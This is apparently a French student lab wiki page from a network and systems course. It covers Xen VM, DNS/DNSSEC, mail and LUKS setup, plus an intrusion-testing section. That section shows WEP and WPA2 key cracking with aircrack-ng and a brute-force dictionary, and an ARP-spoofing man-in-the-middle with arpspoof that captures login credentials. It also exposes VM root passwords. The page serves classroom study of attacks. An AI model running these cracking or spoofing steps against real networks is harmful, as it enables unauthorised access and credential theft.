On fait la commande <code>arpspoof -i bridge -t zabeth07 172.26.145.254</code><br />
On lance Wireshark en root en utilisant la commande <code>su</code> si celui ci n'est pas installer on fait préalablement <code>apt-get install wireshark</code><br />
Une fois Wireshark lancé, on filtre tout les paquets en provenance de nottre cible la zabeth07.<br />
Il faut fauire attention de bien désativer les proxi dans firefow sinon cela ne fonctionne pas.<br />
<br />
[[Fichier:Wireshark_mirage.png|1000px|thumb|left|capture de Wiresharkf]]<br />
<br style="clear: both;" \><br />
<br />
On peut voir que on a bien recupérer les mdp lors de la connexion aux site 'applications.polytech-lille.net'.<br />
Non d'utilisateur : Oui le pas de calais<br />
Mdp : le mdp<br />
<br />
=== Intrusion sur un serveur d’application Web===<br />
<br />
==Réalisations==<br />
<br />
===Sécurisation de données===<br />
<br />
===Chiffrement de données===<br />
<br />
Parfois il est necessaire de chiffrer les données importante,d'avoir des clef USB, ou des fichier sécuriser. Pour sécuriser la clef USB, on va utilisé 'cryptsetup'<br />
pour commancer on installe les paquetages 'lvm2' et 'cryptsetup'.<br />
apt-get install cryptsetup<br />
apt-get install lvm2 <br />
<br />
Le [https://doc.ubuntu-fr.org/cryptsetup site] on peut trouver la liste des commandes necessaire pour crypter le clef USB.<br />
<br />
Premièrement on va formaté la clef usb pour avoir un disque propre avec la commande <code>mkfs.vfat -n 'Alex.G' -I /dev/sdb1</code> on obtien le nom de la clef USB avec la commande <code>df -h</code><br />
On a maintenant une clef USB clean qui a comme nom Alex.G et un format FAT32.<br />
<br />
On peut lancer le cryptage de la clef USB avec la commande <code>cryptsetup luksFormat -c aes-xts-plain -s 512 /dev/sdb</code> Pour savoir ou les la clef USB on utilise la commande <code>lsblk</code><br />
On choisi un mdp pour le clef USB, puis on envoie le fichier etc sur le clef pour vérifier si il est bien encrypter. Une fois la clef crypter avec un fichier dessu, on va sur un autre pc et on, vérifie si le fichier est bien crypter.<br />
La liste des commande utilisé est listé ci-dessous : <br />
mount /dev/mapper/Alex.G /mnt<br />
cp -r /etc /mnt<br />
umount /mnt<br />
cryptsetup luksClose Alex.G<br />
<br />
On peut voir que le clef USB crypter fonctionne bien.<br />
[[Fichier:ClefUSBLock_2020-11-13_11-48-55.png|1000px|thumb|left|Cryptage de la clef USB]]<br />
<br style="clear: both;" \><br />
<br />
===Inspection ARP par un élément réseau===<br />
<br />
===Sécurisation WiFi par WPA2-EAP===</div>Aglainehttps://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA2a5_2020/2021_G5&diff=53932TP sysres IMA2a5 2020/2021 G52020-11-20T08:20:30Z<p>Aglaine : /* Installation d'une méchagerie */</p>
<hr />
<div>== Introduction ==<br />
<br />
Cet atelier consiste en la réalisation d’une maquette de réseau permettant de manipuler les protocoles de redondance réseau ainsi que le protocole réseau IPv6. D’un point de vue système vous aurez à installer une machine virtuelle Xen et à y configurer des services. Enfin la mise en place d’un réseau WiFi sécurisé et d’un site web sécurisé vous permettent de mettre en pratiques vos connaissances en la matière.<br />
<br />
=== Tableau Récapitulatif ===<br />
{| class="wikitable" style="text-align: center;width: 35%;margin: auto;"<br />
! Description !! Détails<br />
|-<br />
! scope="row" style="width: 40%"|ID VLAN<br />
|style="width: 60%"|Vlan7<br />
|-<br />
! scope="row" style="width: 40%"|Réseau IP V4<br />
|style="width: 60%"|193.48.57.168<br />
|-<br />
! scope="row" style="width: 40%"|Réseau IP V6<br />
|style="width: 60%"|<br />
|-<br />
! scope="row" style="width: 40%"|Nom de de la VM <br />
|style="width: 60%"|mirage<br />
|-<br />
! scope="row" style="width: 40%"|Numéro de poste<br />
|style="width: 60%"|Zabeth06<br />
|-<br />
! scope="row" style="width: 40%"|Adresse du site internet version HTTP<br />
|style="width: 60%"|<br />
|-<br />
! scope="row" style="width: 40%"|Adresse du site internet version HTTPS<br />
|style="width: 60%"|<br />
|-<br />
|}<br />
<br />
== Installation des systèmes d’exploitation == <br />
<br />
Pour installer une Machine Virtuelle, il faut d'abord se connecter sur le disque de virtualisation.<br />
Pour cela, il faut utiliser la commande : <br />
ssh capbreton.plil.info<br />
<br />
=== Installation dans la machine virtuelle Xen ===<br />
<br />
Une fois connecter, il faut lancer la création de la Machine virtuelle avec la commande :<br />
xen-create-image --hostname=mirage --ip 193.48.57.168 --netmask=255.255.255.0 --gateway=100.64.0.5 --dist=ascii --dir=/usr/local/xen --force<br />
<br />
L'installation prend un certain temps pour regarder si l'installation se déroule bien, on peut ouvrir un second terminale connecté en SSH a "capbreton" puis on utilise la commande : <br />
tail -f /var/log/xen-tools/mirage.0.log<br />
<br />
A la fin de l'installation, on obtient le mot de passe root et des informations importantes :<br />
Installation Summary<br />
---------------------<br />
Hostname : mirage<br />
Distribution : ascii<br />
MAC Address : xxxxxxxxxxx<br />
IP Address(es) : dynamic<br />
SSH Fingerprint : SHA256:xxxxxxx (DSA)<br />
SSH Fingerprint : SHA256:xxxxxxx (ECDSA)<br />
SSH Fingerprint : SHA256:xxxxxxx (ED25519)<br />
SSH Fingerprint : SHA256:xxxxxxx (RSA)<br />
Root Password : DgtUlOmnBFERdfarGBsopGR<br />
<br />
Une fois la VM créer, nous pouvons la lancer avec la commande :<br />
xl create /etc/xen/mirage.cfg<br />
<br />
On peut vérifier que le VM est bien démarrer avec la commande :<br />
xl list<br />
Pour fonctionner l'état de la VM doit être r ou -b<br />
[[Fichier:LancementVm.PNG|1000px|thumb|left|Liste des VM en fonctionnement]]<br />
<br />
<br style="clear: both;" \><br />
<br />
On accède pour la premier fois a nottre Vm avec la commande :<br />
xl console mirage<br />
<br />
il demande alors le login (root) et le mdp (longue chaine précédemment générée). <br />
Après nous être logué, on change le mot de passe qui devient : glopglopglop.<br />
<br />
=== Configuration de la machine virtuelle Xen ===<br />
<br />
Il faut maintenant installer les packages que nous avons besoins : <br />
apt-get update<br />
apt-get install VIM<br />
<br />
Il faut configurer l'adresse IP et le mask de la VM. Pour cela on utilise la commande :<br />
vim /etc/network/interfaces<br />
<br />
Dans interfaces on tajoute <br />
auto eth0<br />
iface eth0 inet static<br />
address 193.48.57.168<br />
gateway 193.58.57.163<br />
netmask 255.255.255.248<br />
<br />
Pour que la machine soit joignable par SSH via l'extérieure il est nécessaire de configurer la passerelle et le ssh_config. Pour cela on utilise la commande :<br />
vi /etc/ssh/ssh_config<br />
<br />
Le fichier ssh_config doit être configurer comme ci dessous :<br />
Host *<br />
SendEnv LANH LC_*<br />
HashKnownHOST yes<br />
GSSAPIAuthentification yes<br />
<br />
Sur Capbreton, une paserell doit être mis en place pour pouvoir connecté les VM aux monde extérieure.<br />
Pour cela on configure ces interfacte avec la commande : <br />
vim/etc/network/interfaces<br />
<br />
Puis on configure la passerelle comem ci dessous : <br />
<pre><br />
# The loopback network interface<br />
auto lo<br />
iface lo inet loopback<br />
<br />
# Physical Network Interfaces<br />
#<br />
auto eth<br />
iface eth inet static<br />
address 192.168.0.29<br />
netmask 255.255.255.0<br />
gateway 192.168.0.1<br />
<br />
auto eth0<br />
iface eth0 inet manual<br />
post-up ip link set $IFACE up<br />
post-down ip link set $IFACE down<br />
<br />
auto eth1<br />
iface eth1 inet manual<br />
post-up ip link set $IFACE up<br />
post-down ip link set $IFACE down<br />
<br />
auto eth2<br />
iface eth2 inet manual<br />
post-up ip link set $IFACE up<br />
post-down ip link set $IFACE down<br />
<br />
auto eth4<br />
iface eth4 inet manual<br />
post-up ip link set $IFACE up<br />
post-down ip link set $IFACE down<br />
<br />
auto eth5<br />
iface eth5 inet manual<br />
post-up ip link set $IFACE up<br />
post-down ip link set $IFACE down<br />
<br />
auto eth6<br />
iface eth6 inet manual<br />
post-up ip link set $IFACE up<br />
post-down ip link set $IFACE down<br />
<br />
auto eth7<br />
iface eth7 inet manual<br />
post-up ip link set $IFACE up<br />
post-down ip link set $IFACE down<br />
<br />
# Main trunk bridge<br />
#<br />
auto Trunk<br />
iface Trunk inet manual<br />
bridge_ports eth4 eth5<br />
post-up ip link set $IFACE up<br />
post-down ip link set $IFACE down<br />
<br />
# Virtual Network Interfaces<br />
#<br />
<br />
auto vlan48<br />
iface vlan48 inet static<br />
vlan-raw-device Trunk<br />
address 172.26.191.21<br />
netmask 255.255.252.0<br />
gateway 172.26.191.254<br />
iface vlan48 inet6 auto<br />
<br />
auto vlan500<br />
iface vlan500 inet manual<br />
vlan-raw-device Trunk<br />
post-up ip link set $IFACE up<br />
post-down ip link set $IFACE down<br />
<br />
auto vlan502<br />
iface vlan502 inet manual<br />
vlan-raw-device Trunk<br />
post-up ip link set $IFACE up<br />
post-down ip link set $IFACE down<br />
# Bridge for IMA5sc group<br />
#<br />
<br />
auto IMA5sc<br />
iface IMA5sc inet manual<br />
bridge_ports eth0 eth6<br />
# Bridge for IMA2a5<br />
#<br />
<br />
auto IMA2a5<br />
iface IMA2a5 inet manual<br />
bridge_ports eth1 eth7<br />
# Bridge for L3MRIT group<br />
#<br />
<br />
auto L3MRIT<br />
iface L3MRIT inet manual<br />
bridge_ports eth2<br />
# Bridge for GIS group<br />
#<br />
<br />
auto bridgeGIS<br />
iface bridgeGIS inet manual<br />
bridge_ports vlan502<br />
</pre><br />
<br />
== Architecture réseau ==<br />
<br />
===Sécurisation du réseau===<br />
<br />
==Services Internet==<br />
<br />
===Serveur SSH===<br />
<br />
On peux maintenant se connecté a la VM mirage avec la commande : <code>ssh root@193.48.57.168 -p 2222</code><br />
<br />
===Serveur DNS===<br />
Un serveur DNS (Domain Name System) permet d'effectuer correspondance entre un nom de domaine et une adresse IP. Grâce à DNS, il n'est pas nécessaire de se souvenir des adresses IP pour naviguer sur Ethernet. Pour installer notre propre serveur DNS nous avons utilisé Bind9.<br />
<br />
Nous commençons tout d'abord par installer bind9 via la commande suivante : <code>apt-get install bind9</code><br />
<br />
==== Création et configuration named.conf.local ====<br />
Le <code>named.conf.local</code> permet de faire pointer un nom de domaine pleinement qualifié (FQDN fully qualified domain name) sur une adresse IP. <br />
<br />
Il faut tout d'abbord modifié le fichier <code>/etc/bind/named.conf.local</code> qui contient la configuration DNS et y déclaré les zones associées au domaine ainsi qu'un fichier de description de la zone.<br />
<br />
[[Fichier:Mirage-config-named.conf.local.png|1000px|thumb|left|Configuration de mirage]]<br />
<br style="clear: both;" \><br />
<br />
Puis créé le fichier de configuration appelé <code>glopglop.site</code> avec la commande <code>vim /etc/bind/glopglop.site</code><br />
<br />
[[Fichier:Configuration_bind9.png|1000px|thumb|left|Configuration de bind9]]<br />
<br style="clear: both;" \><br />
<br />
On relance le service 'bind9' avec la commande :<code>service bind9 restart</code><br />
<br />
On vérifie que le DNS fonctionne bien avec le commande <code>host dns1.glopglop.site localhost</code><br />
[[Fichier:Dns1.glopglop.site_2020-11-13_08-57-52.png|1000px|thumb|left|Vérification du DNS en local]]<br />
<br style="clear: both;" \><br />
Le DNS fonctionne donc bien.<br />
<br />
==== Configuration gandi.net ====<br />
Grâce au registrar gandi.net, nous avons réservé le nom de domaine <code>glopglop.site</code>. L'extension <code>.site</code><br />
<br />
[[Fichier:Gandi-glopglop-VueGeneral.PNG|1000px|thumb|left|Image de la configuration de Gandi]]<br />
<br style="clear: both;" \><br />
<br />
On va maintenant ajouter un "glue record" qui est un enregistrement collé. Il permet d'associer un nom d'hôte avec une adresse IP au registre.<br />
Glue records fournis par gandi pour associer un hostname (nom de serveur ou DNS) à l'adresse IP de notre machine. Les modifications seront effectives entre 12 et 24 heures.<br />
<br />
[[Fichier:Mirage-Ajoue-GlueRecord.PNG|1000px|thumb|left|Image de la configuration de Gandi avec Glue Record]]<br />
<br style="clear: both;" \><br />
<br />
Une fois le "glue record" renseigner se qui va lié nottre dns a une ip, il faur renseigner les serveur de non. cela prend 27/72h.<br />
Il faut bien faire attention que la VM soit correctement configurer avec 'bind9' car c'est lui qui donne IPv4 et IPv6 correspondant à vos noms de machines. Si ce n'est pas le cas gandi ne pourras pas liée les dns a l'ip de la machine.<br />
<br />
[[Fichier:GandiDNS_2020-11-13_09-00-16.png|1000px|thumb|left|DNS sur GANDI]]<br />
<br style="clear: both;" \><br />
<br />
Une fois les serveuyrs de non configurer, on peux fermer GANDI.<br />
<br />
===Sécurisation de site web par certificat===<br />
<br />
===Sécurisation de serveur DNS par DNSSEC===<br />
Premièrement, on ajoute <code>l'obtion dnssec-enable yes;</code> dans le fichier <code>named.conf.options</code>.<br />
====Génération des clef asymétrique====<br />
Il est important de bien sauvegarder la clef privée, sinon nottre système de clef ne fonctionnera pas.<br />
pour commancer, on crée un repertoire pour stocker les clef.<br />
cd /etc/bind<br />
mkdir glopglop.site.dnssec<br />
cd glopglop.site.dnssec/<br />
<br />
Une fois dans le dossier <code>glopglop.site.dnssec</code>, on crée les clefs avec la commande<code>dnssec-keygen -r /dev/urandom -a RSASHA1 -b 2048 -f KSK -n ZONE glopglop.site</code><br />
On obtien : <br />
Generating key pair...............+++++ ..........................................+++++ <br />
Kglopglop.site.+005+15337<br />
<br />
On crée ensuite le clef asymétrique pour la signature des enregistrements, pour cela on utilise la commande <code>dnssec-keygen -r /dev/urandom -a RSASHA1 -b 1024 -n ZONE glopglop.site</code><br />
On obtien : <br />
Generating key pair................+++++ ..................................................+++++ <br />
Kglopglop.site.+005+55608<br />
<br />
On a bien maintenant la paire de clef privée/publique. Le problème est qu'il est difficile de les distinguer avec leurs nom compliquer, il faut donc les rennomer pouyr plus de transparance.<br />
On renomme donc les deux paires de clefs obtenues en utilisant le nom de la zone comme préfixe puis en suffixant d’abord par la destination de la clef (-ksk pour la KSK ou -zsk pour la ZSK) puis par le type de clef (.key pour la clef publique ou .private pour la clef privée);<br />
<br />
mv Kglopglop.site.+005+15337.key glopglop.site-ksk.key<br />
mv Kglopglop.site.+005+15337.private glopglop.site-ksk.private<br />
mv Kglopglop.site.+005+55608.key glopglop.site-zsk.key<br />
mv Kglopglop.site.+005+55608.private glopglop.site-zsk.private<br />
<br />
[[Fichier:ClefPrivéePublique_2020-11-13_09-23-42.png|1000px|thumb|left|Clef Privée et Public]]<br />
<br style="clear: both;" \><br />
<br />
Dans <code>db.glopglop.site</code> on ajoute les deux lignes ci-dessous : <br />
$include /etc/bind/glopglop.site.dnssec/glopglop.site-ksk.key<br />
$include /etc/bind/glopglop.site.dnssec/glopglop.site-zsk.key<br />
<br />
On signe la zone d'enregistremment avec la commande <code>dnssec-signzone -o glopglop.site -k glopglop.site-ksk ../db.glopglop.site glopglop.site-zsk</code><br />
[[Fichier:Zones_d'enregistrement_2020-11-13_10-27-11.png|1000px|thumb|left|Generation des zones d'enregistrement]]<br />
<br style="clear: both;" \><br />
<br />
Les clef sont maintenant fonctionelle il faut donc les ajouter a GANDI, pour cela on se connecte a gandi puis on ajoute une clef KSK.<br />
pour obtenir la cled on utilise la commande <code>cat glopglop.site-ksk.key</code> on obtien le résultat ci-dessous : <br />
; This is a key-signing key, keyid 15337, for glopglop.site.<br />
; Created: 20201113090442 (Fri Nov 13 09:04:42 2020)<br />
; Publish: 20201113090442 (Fri Nov 13 09:04:42 2020)<br />
; Activate: 20201113090442 (Fri Nov 13 09:04:42 2020)<br />
glopglop.site. IN DNSKEY 257 3 5 AwEAAc3TCJkWFGnZSj/Q364AF7n69UaXum/no+LuEbXbGjTXLETdYk+Q gVAmIpvbJXcG0rucJTbVFaHr8IhWqf7VvkCbEGAORAkzBVXThPDR1pZR lJDEY88Lb2T6k9uHw43l2oP8vPev2eIRbU3VxUuJs++elgj32DTBA+yK p++/gz29H6PQVpkHnH81RjGdV+K1RZEwxkuev2MmB329fhMRwTsbW0BV aeXc5faRk9ZEKb7tr0p7txVv4wZEL6it01ZiNyGktwLRj8ln+cQz1GtC PY/UWnCtamycE/2k4f98sdDa6TMiguuBNOPug+ODzqGiI7LNUyF4jBbf 6NAgChwITps=<br />
<br />
On ajoute la clef a gandi comme montrer ci-dessous en n'oubliant pas de selectionner '5(RSA/SHA-1'.<br />
[[Fichier:Zones_d'enregistrement_2020-11-13_10-27-11.png|1000px|thumb|left|gandi enregistrement de la clef KSK]]<br />
<br style="clear: both;" \><br />
<br />
Pour vérifier que tout fonctionne correctement, on va sur le site 'dnsvizi.net' il nous permet d'analyser le dns et représanter la chaine d'autentification DNSSEC.<br />
[[Fichier:DNSSEC_2020-11-13_11-59-06.png|1000px|thumb|left|Test du DNSSEC]]<br />
<br style="clear: both;" \><br />
<br />
On peut voir que maintenant on a bien le statu 'SECURE' donc tout fonctionne bien.<br />
<br />
===Installation d'une méchagerie===<br />
====Configuration de Postfix====<br />
Pour recevoir le mail de vérfication de GANDI il faut sur la VM un gestionnaire de mail il faut installer mutt et postfix. On utilise les commandes ci-dessous : <br />
apt-get install postfix<br />
ant-get install mutt<br />
<br />
A l'installation de 'postfix' un fenètre de configuration s'ouver. <br />
Il faut renseigner le non du site comme 'System mail name : 'glopglop.site'<br />
<br />
On vérifie la configuration de 'postix' en allant dans le 'main.cf'<br />
vi /etc/postfix/main.cf <br />
<br />
[[Fichier:Config Postfix mirage.png|1000px|thumb|left|Configuration de postfix]]<br />
<br style="clear: both;" \><br />
<br />
On a bien le non de domaine 'glopglop.site' on peut relancer 'postfix'<br />
service postfix restart<br />
Si le service n'est pas configurer correctement, on peut le reconfigurer avec la commande <code>dpkg-reconfigure postfix</code><br />
====Réception d'un message====<br />
On peux testé la reception de message en envoyant un message a 'roor@glopglop.site'<br />
Si tout fonctionne bien, on peux visualisé les méssage recu en tappant la commande <code>mutt</code><br />
<br />
[[Fichier:Reception_messages_mirage.png|200px|thumb|left|texte descriptif]]<br />
<br style="clear: both;" \><br />
<br />
on constate que on resoit bien les message en provenance du mail de Polytech.<br />
<br />
==Tests d’intrusion==<br />
<br />
=== Description ===<br />
Un ordinateur portable et une clef Wifi est fourni par Monsieur Redon. Pour que le clef fonctionne il est nécessite pas nécessairement de la configuration. Il faut aussi installer les paquetages nécessaire pour craquer la clef Wep et la clef WPA <br />
<br />
=== Installation de la clef Wifi ===<br />
Avec la commande <code>lsusb</code> on peux voir la list des interfaces connecté aux pc. Ci-dessous les résultats obtenu.<br />
<br />
Bus 003 Device 004: ID 148f:5370 Ralink Technology, Corp. RT5370 Wireless Adapter<br />
Bus 003 Device 002: ID 8087:0024 Intel Corp. Integrated Rate Matching Hub<br />
Bus 003 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub<br />
Bus 004 Device 001: ID 1d6b:0003 Linux Foundation 3.0 root hub<br />
Bus 002 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub<br />
Bus 001 Device 004: ID 413c:2003 Dell Computer Corp. Keyboard<br />
Bus 001 Device 003: ID 046d:c016 Logitech, Inc. Optical Wheel Mouse<br />
Bus 001 Device 002: ID 8087:0024 Intel Corp. Integrated Rate Matching Hub<br />
Bus 001 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub<br />
<br />
La clef ubs Wifi est bien détécter.<br />
On doit donc installer le pilote pour les clef usb RT5370 avec la commande :<br />
apt-get install firmware-ralink<br />
apt-get install firmware-misc-nonfree<br />
<br />
Une fois les pilotes installer, on récupéère le nom de l'interface wifi avec la commande <code>ip l</code> et on récupère le résultat ci-dessous : <br />
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN mode DEFAULT group default qlen 1000<br />
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00<br />
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast master bridge state UP mode DEFAULT group default qlen 1000<br />
link/ether 00:22:4d:7a:f1:c3 brd ff:ff:ff:ff:ff:ff<br />
3: eth1: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast master bridge state UP mode DEFAULT group default qlen 1000<br />
link/ether 00:15:17:3b:14:a8 brd ff:ff:ff:ff:ff:ff<br />
5: bridge: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP mode DEFAULT group default qlen 1000<br />
link/ether 00:15:17:3b:14:a8 brd ff:ff:ff:ff:ff:ff<br />
6: vmnet1: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UNKNOWN mode DEFAULT group default qlen 1000<br />
link/ether 00:50:56:c0:00:01 brd ff:ff:ff:ff:ff:ff<br />
7: vmnet8: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UNKNOWN mode DEFAULT group default qlen 1000<br />
link/ether 00:50:56:c0:00:08 brd ff:ff:ff:ff:ff:ff<br />
8: wlx40a5ef059784: <NO-CARRIER,BROADCAST,MULTICAST,UP> mtu 1500 qdisc mq state DOWN mode DEFAULT group default qlen 1000<br />
link/ether 40:a5:ef:05:97:84 brd ff:ff:ff:ff:ff:ff<br />
<br />
La clef wifi s'apelle donc <code>wlx40a5ef059784</code> on fait maintenant un <code> ip link set wlx40a5ef059784 up></code><br />
<br />
Avec la comande <code>dmsg</code> on vérifie que la clef wifi fonctionne bien. <br />
<br />
=== Installation du paquetage AirCrack-ng ===<br />
Pour installer [https://doc.ubuntu-fr.org/aircrack-ng AirCrack] (utilitaire qui permet de casser les clefs WEP et WPA), il faut de taper la commande :<br />
apt-get install aircrack-ng<br />
apt-get install firmware-misc-nonfree<br />
<br />
=== Utilisation de AirCrack pour clef WEP ===<br />
<br />
Après avoir branché la clef WiFi, on se sert de <code>airmon-ng</code> qui est un utilitaire qui espionne le réseau et permet d'obtenir les types d'interfaces communicantes/espionnable.<br />
airmon-ng<br />
Pour tenter de s'y connecter en tant qu'espion, il faut alors taper (nous le tapons ici avec wlan0mon):<br />
airmon-ng start wlx40a5ef059784<br />
Puis, pour observer et découvrir les canaux associés au réseau et leurs SSID,il faut taper:<br />
airodump-ng wlan0mon <br />
<br />
On obtien le résultat ci dessous : <br />
<br />
BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID<br />
<br />
38:0E:4D:B0:E9:E0 -1 0 1 0 1 -1 WPA <length: 0> <br />
04:DA:D2:9C:50:51 -30 49 834 0 9 54e. WEP WEP cracotte02 <br />
04:DA:D2:9C:50:5A -29 44 841 0 9 54e. WEP WEP cracotte11 <br />
04:DA:D2:9C:50:56 -28 53 832 9 9 54e. WEP WEP cracotte07 <br />
04:DA:D2:9C:50:57 -29 54 803 0 9 54e. WEP WEP cracotte08 <br />
04:DA:D2:9C:50:59 -30 50 833 0 9 54e. WEP WEP cracotte10 <br />
04:DA:D2:9C:50:54 -29 48 841 0 9 54e. WEP WEP cracotte05 <br />
04:DA:D2:9C:50:50 -29 50 841 0 9 54e. WEP WEP cracotte01 <br />
04:DA:D2:9C:50:5B -29 50 825 0 9 54e. WEP WEP cracotte12 <br />
04:DA:D2:9C:50:53 -33 46 843 0 9 54e. WEP WEP cracotte04 <br />
04:DA:D2:9C:50:58 -28 50 694 0 9 54e. WEP WEP cracotte09 <br />
04:DA:D2:9C:50:55 -30 49 746 0 9 54e. WEP WEP cracotte06 <br />
04:DA:D2:9C:50:52 -33 50 764 0 9 54e. WEP WEP cracotte03 <br />
00:14:1B:60:8C:28 -30 60 0 0 4 54e. WPA2 CCMP PSK kracotte09 <br />
00:14:1B:60:8C:22 -31 55 0 0 4 54e. WPA2 CCMP PSK kracotte03 <br />
00:14:1B:60:8C:27 -32 64 0 0 4 54e. WPA2 CCMP PSK kracotte08 <br />
00:14:1B:60:8C:24 -34 58 0 0 4 54e. WPA2 CCMP PSK kracotte05 <br />
00:14:1B:60:8C:23 -31 63 0 0 4 54e. WPA2 CCMP PSK kracotte04<br />
<br />
Le réseau que nous voulons craquer est <code>cracotte05 ssid : 04:DA:D2:9C:50:54 chanel : 9</code><br />
<br />
On utilise la commande <code>airodump-ng -w reseau_cracotte05 -c 9 --bssid 04:DA:D2:9C:50:54 wlan0mon</code>. cela nous crée un <code>reseau_cracotte05-01.cap</code> On n'as pluq qu'a faire un <code>aircrack-ng reseau_cracotte05-01.cap </code>.<br />
<br />
KB depth byte(vote)<br />
0 0/ 1 F1(50176) 48(46848) A1(46080) C9(45824) 2A(45056) <br />
1 0/ 1 DE(50944) F0(46592) 60(45824) 4D(45312) 1E(44544) <br />
2 1/ 3 D4(47360) 98(46336) B6(45568) A7(45056) EB(45056) <br />
3 0/ 2 00(47360) 34(46848) 4E(45824) 6F(44800) 35(44544) <br />
4 0/ 1 00(50688) 09(45824) 50(45568) FD(45056) 5E(44032) <br />
5 0/ 3 00(46592) BD(45824) 4A(45824) 5A(45056) 87(45056) <br />
6 0/ 1 00(51456) 09(47104) 3A(45824) F9(45824) 04(45568) <br />
7 0/ 1 00(51712) C9(47360) 08(46336) 56(45312) E2(44800) <br />
8 0/ 1 00(54016) 05(45568) C1(45312) D5(44544) B7(44288) <br />
9 0/ 2 00(47872) 56(46592) 84(45568) 88(45568) F2(45056) <br />
10 1/ 2 09(48128) 6B(45824) D5(45824) 0C(45568) C2(45568) <br />
11 0/ 2 99(48128) 76(47616) 99(46080) E6(46080) 06(44800) <br />
12 2/ 4 FD(44800) DE(44544) B9(44032) 3F(43776) 94(43776) <br />
<br />
KEY FOUND! [ F1:DE:D4:00:00:00:00:00:00:00:09:99:99 ] <br />
Decrypted correctly: 100%<br />
<br />
Et voila nous avons trouver clef du réseau wifi cracotte05<br />
<br />
=== Utilisation de AirCrack pour clef WPA2-PSA ===<br />
<br />
On va maintenant craquer le réseau Kracotte05 qui est un réseau WPA on sait d'avance que la clef WPA est un nombre sur 8 chiffres.<br />
On va donc faire un "cassage par force brute" avec un fichier texte contenant tout les combination de 00000000 a 99999999.<br />
<br />
On commence par installer Crnch avec la commande <code>sudo apt-get install -y crunch</code><br />
<br />
Une fois installer on génère un fichier dictionnaite.txt avec la commande <code>crunch 8 8 0123456789 >> dictionnaire_wpa.txt</code><br />
On relance la commande <code>airodump-ng -w reseau_kracotte05 -c 5 --bssid 00:14:1B:60:8C:24</code><br />
On a bien sure remplacer le ssid et le chanel par celui du wifi Kracotte05.<br />
<br />
Puis nous lançons aircrack-ng avec la commande <code>aircrack-ng reseau_kracotte05-01.cap -w dictionnaire_wpa.txt</code><br />
Read 121032 packets.<br />
<br />
# BSSID ESSID Encryption<br />
<br />
1 00:14:1B:60:8C:24 kracotte05 No data - WEP or WPA<br />
<br />
Choosing first network as target.<br />
<br />
Opening reseau_kracotte05-01.cap<br />
Read 121032 packets.<br />
<br />
1 potential targets<br />
Got no data packets from target network!<br />
Quitting aircrack-ng...<br />
<br />
On peut voir que cela prend du temps pour récupérer les data nécessaire pour effectuer le crackage 1 data toutes les 15 minutes.<br />
Une fois que on a récupérer les data, on peux effectuer le "cassage par force brute" <br />
<br />
Aircrack-ng 1.5.2 <br />
<br />
[00:32:18] 10323450/102795810 keys tested (2771.75 k/s) <br />
<br />
Time left: 9 hours, 16 minutes, 11 seconds 10.04%<br />
<br />
KEY FOUND! [ 10244444 ]<br />
<br />
<br />
Master Key : D6 B0 55 29 8C A0 B4 C9 13 24 C9 03 8C D5 13 4B <br />
46 A4 C2 DB 79 E7 4C BC AE B5 5A 5D 48 D7 C4 3B <br />
<br />
Transient Key : 25 23 28 1B 21 51 4B 87 07 51 A4 8E D1 80 48 C8 <br />
54 F6 87 8B 30 DF C1 D0 E6 1A 74 87 2F 50 EC 1B <br />
9B 24 39 29 40 E3 BD 89 CD AE 3E 81 E9 EC 16 70 <br />
79 F9 24 2E 30 4E 52 24 A9 41 30 52 E1 25 EC 85 <br />
<br />
EAPOL HMAC : 7F AC 76 7D B5 33 0C 24 20 C3 BA A2 4B DF 2F CD<br />
<br />
On a bien trouver la clé du wifi !<br />
On voit que cela peut prendre beaucoup de temps pour trouver la clé, d'out l'interner de couper le dictionnaire en plusieurs et lancer le traitement sur plusieurs pc des camarades de classe. Cela permet de diviser le temps de traitement par le nombre de machine utilisé.<br />
<br />
===Exploitation de failles du système===<br />
<br />
===Attaque de type "homme au milieu" par usurpation ARP===<br />
Maintenant on tesnt une attaque par "homme au milieu" pour commancé, on va installer le paquetage <code>dsniff</code> pour cela on utilise la commande : <code>apt-get install dsniff</code><br />
<br />
On regarde dans un premier temps si le pc peut se comporter comme un routeur avec la commande <code>cat /proc/sys/net/ipv4/ip_forward</code> normalement il nous notifie '0' se qui prouve que le pc ne se comporte pas comme un routeur. On utilise la commande <code>cat /proc/sys/net/ipv4/ip_forward</code> pour faire passer la variable a 1. maintenant le PC peut se comporter comme un routeur.<br />
<br />
On fait la commande <code>cat /proc/sys/net/ipv4/conf/all/rp_filter</code> la variable recu doit être a '0' ce qui permet aux pc de renvoyer les requètes sur l'interface qui les a recu.<br />
<br />
Ensuite on fait un <code>ip r</code> pour récupérer l'adresse ip du routeur.<br />
[[Fichier:Ip_r_mirage.png|1000px|thumb|left|capture de la commande ip r]]<br />
<br style="clear: both;" \><br />
<br />
On fait la commande <code>arpspoof -i bridge -t zabeth07 172.26.145.254</code><br />
On lance Wireshark en root en utilisant la commande <code>su</code> si celui ci n'est pas installer on fait préalablement <code>apt-get install wireshark</code><br />
Une fois Wireshark lancé, on filtre tout les paquets en provenance de nottre cible la zabeth07.<br />
Il faut fauire attention de bien désativer les proxi dans firefow sinon cela ne fonctionne pas.<br />
<br />
[[Fichier:Wireshark_mirage.png|1000px|thumb|left|capture de Wiresharkf]]<br />
<br style="clear: both;" \><br />
<br />
On peut voir que on a bien recupérer les mdp lors de la connexion aux site 'applications.polytech-lille.net'.<br />
Non d'utilisateur : Oui le pas de calais<br />
Mdp : le mdp<br />
<br />
=== Intrusion sur un serveur d’application Web===<br />
<br />
==Réalisations==<br />
<br />
===Sécurisation de données===<br />
<br />
===Chiffrement de données===<br />
<br />
